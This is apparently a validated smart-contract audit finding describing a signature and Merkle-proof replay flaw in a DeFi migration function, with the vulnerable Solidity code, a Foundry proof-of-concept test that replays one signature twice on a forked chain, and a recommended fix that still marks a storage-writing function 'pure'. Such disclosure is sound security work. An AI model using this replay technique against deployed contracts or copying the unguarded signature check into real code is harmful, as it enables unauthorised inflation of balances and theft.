DeFiHardhatFoundry
250,000 USDC
View results
Submission Details
Severity: high
Valid

Successful transactions are not stored, causing a replay attack on ``redeemDepositsAndInternalBalances``

Summary

in redeemDepositsAndInternalBalances there is no validation about the parameters that have been used which should be stored and should not be reused.

As a result, parameters that have already been used can be reused.

Vulnerability Details

Look at this:

function redeemDepositsAndInternalBalances(
address owner,
address reciever,
AccountDepositData[] calldata deposits,
AccountInternalBalance[] calldata internalBalances,
uint256 ownerRoots,
bytes32[] calldata proof,
uint256 deadline,
bytes calldata signature
) external payable fundsSafu noSupplyChange nonReentrant {
// verify deposits are valid.
// note: if the number of contracts that own deposits is small,
// deposits can be stored in bytecode rather than relying on a merkle tree.
verifyDepositsAndInternalBalances(owner, deposits, internalBalances, ownerRoots, proof);
// signature verification.
verifySignature(owner, reciever, deadline, signature);
function verifyDepositsAndInternalBalances(
address account,
AccountDepositData[] calldata deposits,
AccountInternalBalance[] calldata internalBalances,
uint256 ownerRoots,
bytes32[] calldata proof
) internal pure {
bytes32 leaf = keccak256(abi.encode(account, deposits, internalBalances, ownerRoots));
require(MerkleProof.verify(proof, MERKLE_ROOT, leaf), "Migration: invalid proof");
}
function verifySignature(
address owner,
address reciever,
uint256 deadline,
bytes calldata signature
) internal view {
require(block.timestamp <= deadline, "Migration: permit expired deadline");
bytes32 structHash = keccak256(
abi.encode(REDEEM_DEPOSIT_TYPE_HASH, owner, reciever, deadline)
);
bytes32 hash = _hashTypedDataV4(structHash);
address signer = ECDSA.recover(hash, signature);
require(signer == owner, "Migration: permit invalid signature");
}

In verifyDepositsAndInternalBalances, leaf is not stored, and there are no checks to ensure that leaf is only used once.

This means that parameters that have been filled in verifyDepositsAndInternalBalances and succeeded, can be reused.

And verifySignature also has no checks to ensure that the signature is only used once.

verifySignature prevents replay attacks by relying solely on deadline, which is bad.

See this:
require(block.timestamp <= deadline, "Migration: permission deadline expired");

So, deadline is always greater than block.timestamp for success.

Even if block.timestamp reaches the deadline or is smaller than block.timestamp, the owner can sign again to execute a replay attack. This is because verifyDepositsAndInternalBalances does not prevent replay attacks and there is no access control on redeemDepositsAndInternalBalances.

The vulnerabilities present in the verifyDepositAndInternalBalance and verifySignature functions make replay attacks unavoidable.

POC

Due to difficulty finding the same MERKLE_ROOT value as the L2ContractMigrationFacet contract.

So, this PoC only proved a simple signature replay of L2ContractMigrationFacet.

Then the bug in verifyDepositsAndInternalBalances can be proven by yourself with a replay attack scheme, since only you know the "leaves" of MERKLE_ROOT in the L2ContractMigrationFacet contract.

  • paste this code on dir/test of new foundry project

  • don't forget to install dependencies such as forge-std and openzeppelin

  • run with forge test -vvvv

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;
import {Test, console} from "forge-std/Test.sol";
import "../src/ReentrancyGuard.sol";
import "@openzeppelin/contracts/utils/cryptography/ECDSA.sol";
contract PocTest is Test {
using ECDSA for bytes32;
L2ContractMigrationFacet_simple L2CMF_Op;
uint256 internal signerPrivateKey;
uint256 optimismFork;
bytes32 private constant REDEEM_DEPOSIT_TYPE_HASH =
keccak256(
"redeemDepositsAndInternalBalances(address owner,address reciever,uint256 deadline)"
);
function setUp() public {
optimismFork = vm.createSelectFork("https://rpc.ankr.com/optimism", 122288540);
L2CMF_Op = new L2ContractMigrationFacet_simple();
}
function test_poc_replay_attack() public {
vm.selectFork(optimismFork);
signerPrivateKey = 0xabc123;
address signer = vm.addr(signerPrivateKey);
address owner = signer;
address reciever = makeAddr("reciever");
uint256 deadline = block.timestamp + 7 days;
bytes32 structHash = keccak256(
abi.encode(REDEEM_DEPOSIT_TYPE_HASH, owner, reciever, deadline)
);
vm.startPrank(signer);
bytes32 hash = L2CMF_Op._hashTypedDataV4(structHash);
(uint8 v, bytes32 r, bytes32 s) = vm.sign(signerPrivateKey, hash);
bytes memory signature = abi.encodePacked(r, s, v);
L2CMF_Op.redeemDepositsAndInternalBalances(owner, reciever, deadline, signature);
console.log("..Replay attack");
vm.warp(block.timestamp + 4200);
L2CMF_Op.redeemDepositsAndInternalBalances(owner, reciever, deadline, signature);
}
}
contract L2ContractMigrationFacet_simple is ReentrancyGuard {
bytes32 private constant MIGRATION_HASHED_NAME =
keccak256(bytes("Migration"));
bytes32 private constant MIGRATION_HASHED_VERSION = keccak256(bytes("1"));
bytes32 private constant EIP712_TYPE_HASH =
keccak256(
"EIP712Domain(string name,string version,uint256 chainId,address verifyingContract)"
);
bytes32 private constant REDEEM_DEPOSIT_TYPE_HASH =
keccak256(
"redeemDepositsAndInternalBalances(address owner,address reciever,uint256 deadline)"
);
function redeemDepositsAndInternalBalances(
address owner,
address reciever,
uint256 deadline,
bytes calldata signature
) external payable nonReentrant {
verifySignature(owner, reciever, deadline, signature);
}
function verifySignature(
address owner,
address reciever,
uint256 deadline,
bytes calldata signature
) internal view {
require(
block.timestamp <= deadline,
"Migration: permit expired deadline"
);
bytes32 structHash = keccak256(
abi.encode(REDEEM_DEPOSIT_TYPE_HASH, owner, reciever, deadline)
);
bytes32 hash = _hashTypedDataV4(structHash);
address signer = ECDSA.recover(hash, signature);
require(signer == owner, "Migration: permit invalid signature");
}
function _hashTypedDataV4(
bytes32 structHash
) public view returns (bytes32) {
return
keccak256(
abi.encodePacked("\x19\x01", _domainSeparatorV4(), structHash)
);
}
/**
* @notice Returns the domain separator for the current chain.
*/
function _domainSeparatorV4() internal view returns (bytes32) {
return
keccak256(
abi.encode(
EIP712_TYPE_HASH,
MIGRATION_HASHED_NAME,
MIGRATION_HASHED_VERSION,
1, // C.getLegacyChainId()
address(this)
)
);
}
}

Impact

look at this code:

uint256 accountStalk;
for (uint256 i; i < deposits.length; i++) {
accountStalk += addMigratedDepositsToAccount(reciever, deposits[i]);
}
// set stalk for account.
setStalk(reciever, accountStalk, ownerRoots);
///////////////////////////////////////////////////////
function setStalk(address account, uint256 accountStalk, uint256 accountRoots) internal {
s.accts[account].stalk += accountStalk;
s.accts[account].roots += accountRoots;
// emit event.
emit StalkBalanceChanged(account, int256(accountStalk), int256(accountRoots));
}
  • Attacker can perfrom replay attack and increase of value of stalk and roots

Tools Used

Manual

Recommendations

mapping(bytes32 leaf => bool redeemed) public isRedeemed;
function verifyDepositsAndInternalBalances(
address account,
AccountDepositData[] calldata deposits,
AccountInternalBalance[] calldata internalBalances,
uint256 ownerRoots,
bytes32[] calldata proof
) internal pure {
bytes32 leaf = keccak256(abi.encode(account, deposits, internalBalances, ownerRoots));
if (isRedeemed[leaf]) revert REDEEMED_ALREADY();
require(MerkleProof.verify(proof, MERKLE_ROOT, leaf), "Migration: invalid proof");
isRedeemed[leaf] = true;
}

And also do that in verifySignature ensure that can't be front running attack, like add access control or nonces

Updates

Lead Judging Commences

inallhonesty Lead Judge 11 months ago
Submission Judgement Published
Validated
Assigned finding tags:

Replay attack vulnerability in `redeemDepositsAndInternalBalances` function - it could be replayed

Appeal created

laksmana Submitter
11 months ago
inallhonesty Lead Judge
11 months ago
inallhonesty Lead Judge 11 months ago
Submission Judgement Published
Validated
Assigned finding tags:

Replay attack vulnerability in `redeemDepositsAndInternalBalances` function - it could be replayed

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.